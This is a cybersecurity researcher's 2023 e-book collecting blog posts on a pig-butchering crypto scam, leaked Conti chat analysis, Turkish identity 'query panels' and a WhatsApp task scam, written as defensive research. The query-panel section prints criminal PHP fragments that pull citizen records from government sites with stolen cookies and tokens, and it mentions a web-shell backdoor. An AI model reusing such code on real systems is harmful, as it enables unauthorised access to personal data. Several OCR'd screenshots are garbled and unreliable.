## Hack 4 Career E-Book

2023



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2023

MERTSARICA

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### Introduction

In 2009, with the motto "Knowledge is power and grows as it is shared," I created my blog aiming to increase awareness of information security by featuring numerous technical articles. As a result of the positive feedback I received from my readers over the years, I decided to compile my writings into e-books on a yearly basis and share them with cybersecurity enthusiasts.

With the hope that these articles, which I wrote after dedicating effort, time, and resources to research, would be beneficial for those looking to improve themselves in the field of cybersecurity.

Mert SARICA https://www.hack4career.com https://twitter.com/mertsarica https://www.linkedin.com/in/mertsarica CCISO, CISSP, SSCP, OSCP, CREA & CEREA

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## 1. Exposing Pig Butchering Scam

Over the years, as I have been targeted sometimes directly (LinkedIn Scammers, Sponsored Scamming) and sometimes indirectly (Who Viewed My Profile?) by scammers, I have made it my duty to write about these attempts in blog posts and warn those around me about them. At times, I have even received messages about scams from my spouse, friends, and close ones and have tried to write about them (Instagram Scammers) whenever I get the chance. And now, I am here again with a new scam attempt to expose.

As I <u>announced</u> through my Twitter account in June 2022, this attempt started with a message from a protected Twitter account named <u>Anna</u> on **June 14**, **2022**. In this message, Anna started the conversation by talking about how she hasn't seen me in a long time. After learning my name (Mark \*fake\*), where I live (a Belgian living in Turkey \*fake\*), and what I do (CFO of a FinTech company \*fake\*), the topic shifted to where I invest

## my money and the loss of value of Bitcoin cryptocurrency at that time.



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I took a break from the conversation and decided to find out who the photo on Anna's profile really belonged to, as I suspected it was fake. To do this, I used the <u>Visual Search</u> feature of the <u>Yandex</u> search engine and discovered that the profile photo belonged to a Chinese person named <u>Shasha</u> <u>Zhao</u>. When I looked at the photos shared on Shasha's profile, I found the exact photo on Anna's profile.



Anna, who initially claimed to live in **Singapore** and founder of a garment import and export trading company, asked to continue the conversation on WhatsApp and shared a US phone number (**+19295654212**) with me. When I questioned her about using a US phone number, she changed her story, saying she lived in the US for business reasons. To pique my interest, she then claimed to have made a profit of around **\$715,000** from a crypto investment of **\$300,000**. I informed her that I was considering investing **\$500,000** to see her tactics for quickly making a profit.

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After sharing that I consider her to be a very good investor and want to invest with her, she told me that I need to enter the **MonexCrypto** platform for short-term investments. She also shared that I need to visit the **https://app[.]monexcrypto[.]net** address, download the mobile application, and register.



I went to the website to download the mobile application and when I looked at the source code of the webpage, I found out that there was both an Android (**update.apk**) and an iOS version of the app. After uploading the Android app to <u>VirusTotal</u> and <u>Pithus</u>, a mobile threat intelligence platform, and quickly checking the somewhat suspicious <u>results</u>, I decided to thoroughly examine the version developed for the iOS operating system.

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After seeing that the mobileprovision file, which enables third-

party applications to run on the iOS operating system, is <u>stored</u> on GitHub, I viewed the information about the developer/ company (**QuanLi Network Technology Co., Ltd.** (**SRD7J8LLBV**)) registered in the Apple Developer Program.

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E	xpired 7 months ago		
App ID Name:	iosplayer		
App ID:	SRD7J8LLBV.com.weiquanli.iosplayer		4
Team:	QuanLi Network Technology Co., Ltd. (SRD7J	8LLBV)	
Platform:	105 6464148a 77aa 4a70 a15a fi ad01401069		
UUID:	1404140a-77ac-4a72-a15e-11e021421210		
Creation Date:	lun / 2021 at 03:02:28 EDT		
Evolution Date:	lun 4, 2022 at 03:02:28 EDT		
ENTITLEMENTS			
keychain-access-groups:	SRD7J8LLBV.", com.apple.token		
com.appie.external-accessory.wireless-	liue		
configuration:	health-records		
com.apple.developer.nealtrikit.access:	SRD7 ISLI BV/*		
container-identifiers	SILD / SOLLDV.		
container-identifiers. det-task-allow:	false		
com apple developer default-data-	NSFileProtectionComplete		
protection:			
com.apple.developer.healthkit:	true		
com.apple.developer.associated-			
domains:			
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identifier:			
com.apple.developer.homekit:	true		
CERTIFICATES			
Selfin ISAIES	<b></b>		
Name:	iPhone Distribution: QuanLi Network Technolo	gy Co.	, Ltd.
Creation Date:	Apr 9, 2020 at 10:39:23 EDT		
Serial Number:	04F4A485C1B2F933		
SHA-1:	F4AD79B2285828A32B124AC7EB4D664013	BCCC	5



I examined the **app.mobileconfig** XML file, consisting of payloads that <u>load settings and authorization information</u> onto Apple devices. When I ran the file in the <u>Simulator</u> application located in <u>Xcode</u>, I learned that it is a Web Clip (WebClip) that opens the <u>https://www.monexcrypto.net</u> web page and is signed by a developer named **Gang Dai**.

Web clips: A web clip is an icon on the device Home screen that links to a website or URL. Web clips can optionally launch full-screen web apps and can run offline using HTML5 local storage. Configuration profiles can include web clips that use a custom title and icon, and can optionally be nonremovable. Web clips can point students to specific websites for educational purposes. For more information about configuring web clips on a device, see <u>WebClip profile page</u> in Apple Developer documentation.



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When I tried to register on the website, I was expected to enter an **Organization Code** in the registration form. The purpose of placing such a code in the form by scammers was probably to prevent cyber security researchers and/or cyber security vendors from detecting this page and collecting information, and they had been successful until now. Whenever I told Anna that I was having issues in the app installation, she kindly did everything she could to help me with screenshots. So I decided to ask Anna for help one more time in finding out the organization code.

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Please confirm pa				0
Please input rgan	ization code			
		Submit		
✓ I have read and agr	ee 《User Agreement》			

When I asked her the organization code, she first wrote Chinese words (probably she was communicating with me using a Chinese-English translation service), then she shared with me the code (**768919**) that I needed to enter into the form.

Anna 🔒			()
	an not able to install it to m ıy.	y iPhone, do	o not know
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Can be installed			
You may not have found t	ne installation package.		
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When I successfully registered and started browsing the website with Web Clip, I saw pages and menus about real-time market tracking, depositing money into the wallet, withdrawal, etc.



Later, I visited the **Recharge** page, which I thought could be the ideal place for scammers to trap their victims, as the page for depositing and withdrawing cryptocurrency. Like other exchanges and platforms, when I visited, I was presented with the addresses of my cryptocurrency wallets.

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		Funds	s management		
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BTC Available 0.0000		Frozen 0.0000		Amount to(USD) 0.0000	
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NEO	NEO				
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On **June 28**, **2022**, Anna realized she was very close to scamming me, began directing me on how to send cryptocurrency (USDT) via a cryptocurrency exchange named <u>Binance</u> to my wallet.
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As I began to wonder which country Anna was really communicating with me from, I started to think about what I could do to find out Anna's IP address. I guessed that Anna, who had never suspected me despite the é**Cyber Security Researcher**" background image on my <u>Twitter</u> profile, continued to carry on her plan to trap me for 15 days, had no concern about <u>Operations Security (OPSEC</u>). For this reason, I decided to share the web addresses of the screenshots I hosted on my website with Anna by using the <u>Bitly</u> URL shortening service in order to obtain her IP address.

Because Anna did not hesitate to click on the **three** bit.ly addresses I shared, with the help of the SOCRadar's <u>IOC Radar</u> I learned that she was communicating with me from the <u>45.204.66.140</u> IP address located in **Hong Kong**.



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As I continued to browse the <u>MonexCrypto</u> website, I decided to check if the Bitcoin and Ethereum cryptocurrency wallet addresses were unique to me or same for everyone who joined the platform. If these wallet addresses belong to scammers and they show their own addresses as wallet addresses to each person who joins the platform (victim), they can easily steal the cryptocurrency from their victims with ease. Based on the research I conducted on this matter, I discovered that;

On June 28, 2022, when I <u>checked</u> my Bitcoin wallet address (3QX2Csna3FEbXD9PxhgEXL36qAfYXWSwQU) on the Blockchain.com website, it was seen that this wallet was created on June 6, 2022 and until September 29, 2022, \$55,618.73 worth of Bitcoin was transferred to this wallet and then withdrawn. On the same date, when I <u>checked</u> my Ethereum wallet address

(**0xF88997e493C08874d9e0D485463386ABf0EBe6bf**) at the same place, it was seen that this wallet was also created on **June 26, 2022** and until **November 23, 2022**, **~\$839.000** worth of Ethereum and USDT was transferred to this wallet. Again, on the same date, this time <u>checking</u> my USDC wallet

address (**0xcfddf006ec9f4af5bf34a6f71af41655fb7d4167**), it was seen that this wallet was created on **June 17**, **2022** and until **August 16**, **2022**, **~\$46.000** worth of Ethereum and USDT was transferred to this wallet.

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NFTs			Bitcoin Balance			
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🗂 Wallet				Wallet Chart		
60 Exchange		Summary This address has transacted blockchain. It has received a \$55.618,73 and has cent a tra	59 times on the Bitcoin Total Received ©	Total Sent @ 2.339698761	m	Total Volume @ 4.67939752 BTC
Bitcoin		\$55,618,73 The current value 0.00000000 BTC \$0.00.	of this address is Transactions @	\$35,618.73		\$111,237
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Home	Polygon/USD 117	37.82 •2745 Optimism/USD 2.32 •65	Avalanche/USD 20.87 =2.005 Polkadol/	USD 6.65 .4.77% Chainlink/USD 7.41	Shiba Ins/USD 0.0007	Utecoin/US
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Academy Developers Wallet Exchange Bitcoin	Token © USOT © USOC	Centraet Tentre USDI © Cirese USDI ©	VOICE 25 SPI	PLAY NOW	<b>Total Sent</b> 26.1K 198K	Transfers 16 16

Disclaimer: I would like to remind that I am not an IRS agent or a Blockchain expert capable of tracing end-to-end cryptocurrency transfers as described in the book Tracers in the Dark: The Global Hunt for

the Crime Lords of Cryptocurrency in case of any errors.  $\bigcirc$ 

From the date I registered on the MonexCrypto website, **June 26, 2022**, to **January 29, 2023**, I roughly checked my wallet addresses **5** times by logging into the MonexCrypto website, and I noticed that they changed every time. Based on this information, the wallet addresses were not individually produced, but were the scammers' own wallet addresses, and they changed these addresses at certain intervals. When I listed and gathered the wallet addresses and the money transfers made to these wallets, I realized that the scammers had stolen approximately **3 million dollars** worth of cryptocurrency, to the best of my estimation.

В	С
Wallet Address	~Stolen Amount (USD)
3QX2Csna3FEbXD9PxhgEXL36qAfYXWSwQU	\$55,618.73
0xF88997e493C08874d9e0D485463386ABf0EBe6bf	\$818,800.00
0xCFDDF006EC9F4AF5BF34A6F71AF41655FB7D4167	\$46,000.00
0x392667b0CDf9B04Ce5C48754Ea4185056A65DD31	\$246,000.00
0x66FD1C86ae25BDd278bb90f1174f668392EBB540	\$675,000.00
0xA9434DFb0fa3f29fc6324AA60DB377C863022f13	\$204,000.00
0xC495928233A6E4433c151B7A552e34A3d7Af54D7	\$564,000.00
0xaE7A6F74c09BDB3E1e17e51040C070A65ACf7859	\$134,000.00
Total Stolen Amount (USD)	\$2,743,418.73
	В Wallet Address 3QX2Csna3FEbXD9PxhgEXL36qAfYXWSwQU 0xF8997e493C08874d9e0D485463386ABf0EBe6bf 0xCFDDF006EC9F4AF5BF34A6F71AF41655FB7D4167 0x392667b0CDf9B04Ce5C48754Ea4185056A65DD31 0x66FD1C86ae25BDd278bb90f1174f668392EBB540 0xA9434DFb0fa3f29fc6324AA60DB377C863022f13 0xC495928233A6E4433c151B7A552c34A3d7M54D7 0xc495928233A6E4433c151B7A552c34A3d7 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4433c15 0xc495928233A6E4435 0xc49592828234 0xc495928233A6E4435 0xc495928233A6E4435 0xc495928233A6E443

Of course, while I was trying to unmask Anna on July 18th, 2022, the FBI issued a warning against fraudulent attempts made through fake crypto exchanges/investment applications like MonexCrypto. According to this warning, approximately 42.7 million dollars worth of crypto had been stolen from 244 people worldwide. I had already learned how 3 million dollars were stolen.

In 2021, the FBI's Internet Crime Complaint Center received more than 4,300 submissions related to pig

butchering scams, totaling more than \$429 million in losses. And at the end of November, the US Department of Justice announced that it had seized seven domain names used in pig butchering scams in 2022. (Source: <u>Wired</u>)

Anna, who exhausted all means of persuasion to deceive me from **June 14th** to **July 6th**, **2022**, she started sending messages full of complaints on July 6th. I put an end to our conversation with the bad guy smile by informing Anna of the FBI's warning on **August 1st**, **2022**.



G

🚯 Anna 🛱

It's nothing

Jul 6, 2022, 11:30 AM

I just don't understand why such simple things have to be delayed.

Isn't it best to do such a thing when you have a rest?

Sorry, Maybe it's because I don't like to procrastinate, and I can't understand such things.

People always like to put off the simplest things until the end.

Jul 6, 2022, 11:33 AM

Don't invest in cryptocurrency, I thought you weren't suitable for it. You can't even do such a simple thing well.

Enjoy your vacation, sir,

Jul 6, 2022, 11:35 AM

After a period of conversation, I feel that you are not suitable for investing in cryptocurrency. You always procrastinate when you can't even do such a simple thing well. I don't like people who procrastinate. Maybe





Have you read this article?

The FBI warned that cybercriminals are creating and u...

It seems that Anna continued to catch new victims in her web without slowing down in the following months and was successful, as some user passwords were also stolen when they entered the monexcrypto.net site on **September 5th**, **2022**, according to information detected as stolen by a malicious software (<u>Stealer</u>) on the <u>SOCRadar Cyber Threat Intelligence</u>



By October, the Monex Group issued a <u>warning</u> that two more websites, starting with the monexcrypto.net website, were using the group logos without permission.



As a result, we have learned in detail how Anna and her scammer friends carried out the <u>Pig Butchering Scam</u>, a well-

designed fraudulent scheme, and how they made millions of dollars in loot, from the <u>applications</u> downloaded not only from 3rd party websites but also from the Apple App Store and Google Play Store.

Pig Butchering scam is named after the practice of fattening a pig for slaughter. In this case, scammers build a relationship with a victim online before convincing them to send money or invest in high yield crypto-currency accounts.

I strongly request you to share this article with your friends, loved ones to raise security awareness. Hope to see you in the following articles.

# 2. Practical Data Leakage Analysis

<u>Conti</u>, a Russian-backed cybercrime group that earned \$180 million in revenue from ransomware attacks in 2021, reached a major turning point in 2022 with Russia's <u>invasion</u> of Ukraine. The group publicly supported the Russian invasion, resulting in a rift among its international members. One member began leaking internal messages from 2020-2021 on a Twitter account (@ContiLeaks), including the source code for the ransomware they used in their cyberattacks. The group was considered one of the most notorious cybercrime groups in the world.



As a cybersecurity researcher, when data from such threat actors is leaked, one of the things that interests me the most is whether the data includes information about hacked organizations in Turkey, as well as non-Russian, English messages. If you ask me why, it's because I can have the opportunity to learn how extensively Turkey is targeted by these threat actors and which nationalities are involved in such internationally organized crime groups. To find out, I decided to conduct cybersecurity research to provide insights to cybersecurity researchers who are also interested in this topic.

First, I downloaded the files that include the Conti group's messages from the <u>sharing</u> area of the <u>vx-underground</u> website. When I extracted all the zip files, more than **11,000** files came out.

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	Conti Internal Software Leak.7z	3911885 2022-03-01 02:57:08	
	Conti Jabber Chat Logs 2021 - 2022.7z	1160294 2022-03-02 13:10:39	
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	Conti Screenshots December 2021.7z	452894 2022-03-01 02:46:06	
	Conti Toolkit Leak.7z	94186791 2022-03-01 02:42:15	
	Conti Trickbot Forum Leak.7z	8542211 2022-03-01 02:50:56	
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After learning that the messages are stored as readable text in JSON files (Example: 185.25.51.173-20220301.json), my first task was to use the following regex-supported GREP command to find and deduplicate all IP addresses in the files. I ended up with a total of **3819** IP addresses that match these two regex patterns, which I saved in a file named "ip.txt."

 grep
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 -E
 -o

 "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25

 [0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0

 -5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0

 -5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.

 ../ips.txt

 grep
 -iRE

 "(\b25[0-5]|\b2[0-4][0-9]|\b[01]?[0-9][0-9]

 ]?)(\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]

?)){3}" ../ips.txt | grep -E -o
'[1-9]{1,3}\.[0-9]{1,3}\.[0-9]
{1,3}' | sort | uniq -i > ../../ip.txt



When it came to finding out which of these IP addresses belong to Turkey, I found help in the <u>IPinfo API</u> and its <u>Python library</u>. By using this library with the <u>IP2Geo Tool v2</u> that I developed,

I queried all the IP addresses in my possession (ip.txt), and I learned that two of these IP addresses (<u>31.210.111.142</u>, <u>5.188.168.19</u>) are located in Turkey.



To validate the results I obtained, I took a look at <u>SOCRadar</u>, Extended Cyber Threat Intelligence Platform that provides real-time notifications to organizations regarding data breaches. I found that the results aligned with what I discovered earlier, thus clarifying my initial curiosity. ::



When it came to my curiosity about the other topic, I decided to explore Python libraries capable of language detection from text. After a brief research, I came across several prominent libraries in this field, including <u>fastText</u>, <u>langdetect</u> and <u>langid</u>

While testing the libraries individually on the text from the leaked Conti data, I observed that each library made accurate language detections for some texts but produced incorrect results for others. As I pondered over which library to use, I decided to develop a tool that combines all three libraries and allows users to specify the confidence level parameter according to their needs and preferences. This approach would provide a more reliable way to determine the language in a customizable manner.

After merging the leaked Conti data into a single file using the command find . -type f -print -exec cat {} ; > ../logs.txt, I used the Language Identification tool I developed to check each line in the "logs.txt" file for Turkish language detection using the three libraries (with the confidence level set to "High").

To use the Language Identification tool, you need to provide the following parameters.

The first parameter is the text file you want to analyze, specifying it line by line. The second parameter is the language code for the language you want to detect (e.g., "TR" for Turkish, "EN" for English). The optional third parameter determines the confidence level. If you set it to "High," when all three libraries detect the language code you specified, it will indicate it on the screen.

Here's an example command using the tool:

# python3 lang\_id.py logs.txt TR High

This command will analyze each line in the "logs.txt" file for Turkish language detection with a high confidence level.

Since there were no Turkish words or sentences used in the text files, there was no language detection indicating the usage of Turkish language by any of the three libraries. However, to test the tool's functionality, I added three fake Turkish texts to the "logs.txt" file. As a result, I successfully observed that the program detected them correctly. Through this analysis, I learned from the leaked Conti data that there was no Turkish conversation among the group members, thereby clarifying my final curiosity.



I hope this method I have followed and the two tools I have developed will be beneficial for security researchers and experts in data leakage analysis. Hope to see you in the following articles.

# 3. Was Turkey's e-Government Hacked?

First of all, let me start by saying what I will say at the end: "No, it was not hacked!" So can you breathe a sigh of relief as a Turkish citizen in this situation ? Unfortunately no. You can read the reason for this in the rest of the article.

When you look at the origins of occasional news headlines such as "e-Government Hacked!", "e-Government data stolen!", "Identity information of 85 million citizens stolen!" (#1, #2), you can see that they are mostly caused by scammers, cybercrime organizations who share their advertisements on platforms like <u>Telegram</u>, <u>ICQ</u>, <u>Discord</u>, forums, trying to market their services.

When examining these advertisements, you can observe that cybercrime organizations provide access services or facilitate access to citizens' data through websites, Telegram channels, and Discord rooms that they establish under the name of "Query Panel/Checker." These services are sometimes offered in exchange for a fee, while at other times they are provided free of charge.

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After seeing these, I can understand that the question "But how?" is troubling your mind with concern. To find an answer to this question, I have decided to make the most of the resources at my disposal as a professional <u>working</u> at <u>SOCRadar Cyber Threat Intelligence</u> company, which closely monitors the every move of cybercriminals, scammers, and threat actors, and warns its clients about them.

To begin, I embarked on a brief exploration of Telegram channels monitored by SOCRadar's XTI platform.

During my search for query panels, I noticed that in some Telegram channels, files related to these panels were being shared by certain individuals.





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I have learned that the increasing competition among scammers over the past 1.5 years has led some to withdraw from the market while others have fallen victim to hacking.



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To learn how query panels function, I began closely examining the shared files (source codes). In some of these source codes, I noticed that scammers had implemented checks for Turkish Identification Number (TCKN) information, which I presumed to be related to acquaintances or relatives. For example, when someone attempted to query this TCKN information on the panel, no transaction would take place.

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<pre>while (1=1): payload p = sub out, en payload</pre>	J = payload.replace("eval", "echo") process.Popen(['php', '-r', payload], stdout-subprocess.PIPE, stderr-subprocess.PIPE) r = p.comunicate() = out.decode()	Of Millio And
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In some of the source codes, I discovered the presence of backdoors (web shell) that were embedded to allow scammers who downloaded these source codes to infiltrate websites at a later stage.



When I searched for the signatures (aliases/nicknames) of threat actors mentioned in the source codes within the <u>SOCRadar XTI</u> platform, I obtained the opportunity to identify which Telegram channels they were associated with and read the messages related to them. This is an incredible opportunity for cybersecurity professionals and law enforcement officials!





CEV


When it comes to understanding how access to citizens' information was obtained through these query panels, my research on the source codes belonging to three different panels revealed two different methods.

In the first method, the queries made through the panel were forwarded to other systems, belonging to the same or different scammers, such as Web APIs. From there, it is highly likely that they were transmitted to websites (government, university, etc.) with authorized access using stolen account credentials (cookies). The responses were then relayed back to the users/ persons who made the queries following the same path. To summarize the communication flow:

User -> Query Panel (Belonging to the scammer) -> API (Belonging to the scammer) -> Website (authorized access through stolen account cookies)



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	include "//server/authcontrol.php";	
	<pre>\$tc = htmlspecialchars(\$_POST['tc']);</pre>	
	include '/vdsip.php';	
	<pre>\$url = "http://".\$ip."/apiservice/ /uni/uni.php?tc=\$tc&amp;auth="";</pre>	
	<pre>\$bacis1kenfayuj = curl_init(\$url);</pre>	
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# What is an API?

APIs are mechanisms that enable two software components to communicate with each other using a set of definitions and protocols. For example, the weather bureau's software system contains daily weather data. The weather app on your phone "talks" to this system via APIs and shows you daily weather updates on your phone. (Reference: <u>Amazon</u>)

In the second method, queries made through the panel were again transmitted, this time without involving a Web API, to websites (government, university, etc.) with authorized access using stolen account credentials (cookies), just as in the previous method. The responses were then relayed back to the users/persons who made the queries following the same path. To summarize the communication flow:

User -> Query Panel (Belonging to the scammer) -> Website (authorized access through stolen account cookies)





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		a la soligi.php Den with xcode
texd.php	Dec 26, 2022 at 1	php</th
adsoyad		<pre>\$auth_key = " ";</pre>
api.php		
v 🚞 adsoyadpro		if(\$_GET['auth'] != \$auth_key) {
📄 api.php		ecno json_encodetarrayt.success.mo faise, message mo fauth key herde ( menifil); die();
🗸 🛅 aile		) else {
🗋 api.php		\$1 _proxy = '578";
🗸 🚞 akraba		\$cookie = "ASP.NET_SessionId=ot: hxh"; \$to = \$ GHT(troil)
📄 api.php		sch = curLinit();
🗸 🚞 aol		curl_setopt(\$ch, \$CURLOPT_URL, "https:// nov.tr/anif/anor/unulamasnrulladetav?
📄 api.php		criteria=%78%22TcKimlik%22:%22\$tc%22,%22HibeListele%22:false%70");
🗸 🚞 apiservices		curl_setopt (Sch. CURLOWI_DECIUM/IN/A/SFER, 1); curl_setopt (Sch. CURLOPT HTTPOET. 1);
📄 adsorgu.php	Jan 21, 2023 at 2	curl_setopt (\$ch, CURLOPT_SSL_VERIFYHOST, 0);
📄 akraba.php		curl_Setopt (Sch_CURLUPT_SSL_VERLIPTPER, 0); curl_Setopt (Sch_CURLUPT PROXY) proxy);
annedencocuksorgu.php		curl_setopt (Sch, CURLOPT_PROXYPORT,proxyport);
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📄 asi.php		Chrome/189.8.8.9 Safari/S37.36"); output Lotant (Loh, CIM) DOT HTTPHEINER, avenue
📄 atsbilgi.php	Jan 22, 2023 at 2	Accept: application/json, text/plain, */*
babadancocuksorgu.php	Jan 21, 2023 at 2	'Accept-Encoding: gzip, deflate, br', 'Accept-Inouang: enclis encode, 9'.
🛄 detayliadres.php		'Authorization: JWF
gsmtc.php		ey. ISY1Y2MR0y2MF3HHY1LC31c311011RHTg1MDcyMj Hd TiCfbc2Fxll.
secmentc.php	Jan 21, 2023 at 2	'Connection: keep-alive',
📄 sinif.php	Jan 24, 2023 at 1	'Nost: .gov.tr', .gov.tr/pages/src/'.
📄 sms.php	Jan 24, 2023 at 1	Sec-Fetch-Dest: empty',
soyadsorgu.php	Jan 21, 2023 at 2	'Sec-Fetch-Node: cors', 'Sec-Fetch-Site: same-origin',
🗋 tcgsm.php		'User-Agent: Mozilla/5.0 (Mindows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Code/(JCTTC)
🛄 tcsorgu.php	Jan 21, 2023 at 2	Salari/SJ.30 , ]);
universite.php	Jan 28, 2023 at 2	Scars = curl ever(Sch):
📄 vesika.php	Jan 24, 2023 at 1	/* bistir */
> 🛅 asi		print_r(\$resp); /* print_r(\$resp);
> 🚞 bina		The proxy ap at
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api.php	Feb 2, 2022 at 00	php<br error_reporting(0);
fayujhane		ini_set('display_errors', 0);
api.php		
v 🛅 gsmtc		use ouzztemttpttient;
📄 api.php		header('Content-Type: application/json');
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api.php		sclient = new Client()-
v 🚞 isyeri		<pre>\$requestKimlik = \$client-&gt;request('GET', 'https:// .gov.tr/Takip/VakaTakip/GetVakaIsYeriBilgileri?</pre>
api.php.bak		vakald=5hastatc='. \$tc,   'headers'=> [
api.php		"Accept" ⇒ "application/json, text/javascript, */*; q=8.01",
> 🛅 minecraft		"Accept-thcoding" ⇒ "grip, defidte, br", "Accept-thougane" ⇒ "griftee:ten:grip.".
> 🛅 neuhasus		"Connection" => "keep-alive",
> 🛅 numara		"Loncent-lype" ⇒ "application/jionj charset=utt-8", "Cookie" ⇒ Scookie, # SISTHM GRIS COOKIESI
> 🛅 okul		"Host" >> "I .gov.tr", "Perform" -> "History (// ->
> 🛅 omurlerkisadunyairkereneolmusya		"sec-ch-ua" => '" Not A;Brand";v="99", "Chronium";v="98", "Google Chrone";v="98",
> 🛅 proxy		"sec-ch-ua-mobile" => "70", "rec-ch-ua-mobile" => "Windows":
> 🛅 qwe		"Sec-Fetch-Dest" > "enpty",
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> 🛅 sokak		95.8,4638.69 Safari/S37.36", "X-Bonuested-With", == "201 HttpRequest"
> 🛅 soyagaci		
> 🛅 topro		
> 🚞 universite		<pre>\$response = json_decode(\$requestKimlik-&gt;getBody()-&gt;getContents(), true);</pre>
> 🛅 vendor		<pre>i (sresponse(state) == 1) {     sjscn_result = json_decode(\$response["Result"] ("responseJsonStr"], true); </pre>
> 🛅 vesika		<pre>\$sayi = count(\$json_result["sigortaliBilgisi"]("sgkSigortaliBilgileri"]("sigortaliTumOrtaWizmetlerDtoList")); finan anula _ incompared(finan excell Willeright)[incol]["billoi]["]</pre>
> 🛅 wroxyadres		systements and the systement of the syst
> 🛅 wroxyvesika		echo json_encode(["success" →> "true", "message" →> "Bulundu", "data" → json_decode(\$json_result, true), "adres" → feerongen["Beruit=1][true"]]);
> 🔤 yemeksepeti		) else {
composer.lock		<pre>echo json_encode(["success" =&gt; "false", "message" =&gt; "Bulunamadz")); }</pre>
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The main reason for my strong assumption that stolen accounts are involved is that when I searched for these abused websites on SOCRadar's cyber threat intelligence platform, I discovered that records containing access credentials (stealer logs: usernames, passwords, cookies, etc.) were being sold on the underground market. It is highly likely that certain threat actors hack into the systems of users who have access to these websites and sell the obtained information (stealer logs) to other threat actors and scammers. The statements mentioned in the video at the end of the article also support this notion.

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Furthermore, in my research, I discovered that Web APIs also have a separate underground market, similar to query panels.

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As I continued examining the source codes and took a look at the codes that indicated which information could be obtained through these panels using the Turkish Identification Number (TCKN), a rough overview of the information that could potentially be accessed through these panels emerged, resulting in the following table.

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As I continued examining the source codes, independent of the previous topic, I came across approximately **131** individuals' names and identity photos, which have been the subject of recent <u>news</u> and debates. When I compared them to images featured in past <u>news</u>, I discovered that they were associated with the cryptocurrency exchange <u>Thodex</u>, which was involved in the scam that affected thousands of people. It was revealed that these photos have been in the possession of scammers since 2021 and were being sold for **50** Turkish Lira (**~\$2**).

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#### 1,122 members

# 



To summarize the matter, even though Turkey's e-Government

has not been hacked, unfortunately, there is a concerning outcome for citizens. At this level of organized fraud, it is not feasible for citizens to individually ensure the security of their data and information or change and update the data they believe has been obtained (such as TCKN, mother's name, father's name, maiden name, etc.). Therefore,

It is a significant responsibility for the authorities to detect and intervene in these stolen and abused accounts, websites, APIs, and services through the utilization of cyber threat intelligence platforms and services.

While law enforcement agencies continue their operations against fraudsters and threat actors without slowing down, implementing security controls at the software and network levels in these types of websites, APIs, and services that carry the risk of misuse is crucial (such as implementing <u>Captcha</u> controls where possible, limiting the number of web requests to a page or service within a certain timeframe, suspending and investigating accounts in the case of multiple requests, cutting off network connections, subjecting them to additional verification steps, etc.). Strengthening system security (hardening) is also of great importance. Hope to see you in the following articles.

One or more interactive elements has been excluded from this version of the text. You can view them online here: <u>https://pressbooks.pub/</u> hack4career/?p=175#oembed-1

# 4. WhatsApp

# Scammers

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# Introduction

I recently received my share of calls and messages from foreign cell phone numbers, disturbing almost everyone, especially in Turkey, who has used the WhatsApp application in recent days. Of course, as in my articles on other scams (<u>Exposing Pig</u> <u>Butchering Scam</u>, <u>LinkedIn Scammers</u>, <u>Instagram Scammers</u>), I rolled up my sleeves to investigate and write about this to raise awareness.

This story started on **July 31, 2023**, when I received a text message from a mobile phone number (+60 11-6436 2947) with a **Malaysian** country code not registered in my contacts. In this message, the suspicious person said she was conducting

market research to help increase tourism data in Turkey and that I could earn **180 TL** by answering **3** simple questions.



### Hack 4 Career 87



Finans departmanımız ödemenizin derhal işleme alınmasını

![](_page_93_Picture_1.jpeg)

When I looked at this person's profile, I learned that she had been using the WhatsApp application since **July 3**, **2023**. Also her profile photo had been used and shared on many different social media platform when I searched on the internet using the <u>Visual Search</u> feature of the <u>Yandex</u> search engine.

![](_page_94_Picture_2.jpeg)

![](_page_95_Picture_1.jpeg)

After answering all the scammer's questions, she gave me a reward code and told me to contact a person named **Nilu BALPANÇ** with the username **Rsp\_Nilu** on Telegram to pay me. When I contacted this person, who, according to Telegram Desktop, uploaded her profile photo on **July 30, 2023**, she told me that the bank account number I had provided was incorrect. After corresponding for a while and realizing that what she wanted an IBAN, not an account number, I gave her the information she was expecting, again incorrectly, at least in a way that she would not get an error.  $\bigcirc$ 

Saying, "I defrauded the fraudster and got them to

send money to my account," or "I received the money from the fraudster and paid my electricity bill," may mean that you are dealing with the money of an innocent citizen who has been defrauded, that is, with stolen money.

When an investigation is launched into these accounts, you may find yourself in the defendant's seat, in defense of whether you have a relationship with fraudsters, so do not get involved in a financial relationship with fraudsters.

If the fraudsters transferred money to your account, contact your bank immediately.

![](_page_96_Picture_4.jpeg)

![](_page_97_Picture_1.jpeg)

![](_page_98_Picture_1.jpeg)

When she shared that she had received an error with the account, a question immediately began to nag at the back of my mind. Did they send some money to their victim's bank accounts to gain their trust? For this, when I inquired whether money was transferred to the IBAN I sent to the scammer, I learned that money was transferred!

After I told him I would not do the tasks without receiving the money and the corresponding bank statement, the scammer sent it to me and took me to a Telegram group called **Part-Time Task Group**, consisting of **64** people. He did not neglect to mention that I could earn **60 TL** per task if I fulfill the tasks shared daily in the group.

![](_page_100_Figure_1.jpeg)

![](_page_101_Picture_1.jpeg)

![](_page_102_Picture_1.jpeg)

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When I asked the fraudster if the money transfer was from X bank, he said a third party made the payments. This time a new question began to puzzle me. Were the fraudsters using the accounts of victims they had lured through other methods as a front for this fraud operation, or did they own these accounts?

I quickly set out to find answers to these and other questions nagging at the back of my mind.

How and where did they get our cell phone numbers? How did they lure their victims? Who owned the accounts used to transfer money? From which country were they running this operation? Did the fraudsters speak Turkish, or did they use translation tools?

# How and where did they get our cell phone numbers?

As in my article titled "<u>Was Turkey's e-Government Hacked?</u>", I do not think that in recent years, when our information has been passed from hand to hand in the underground world, threat actors and fraudsters have hacked somewhere by spending an extra effort to access our cell phone information and leaked this information from there.

# 1,064 subscribers

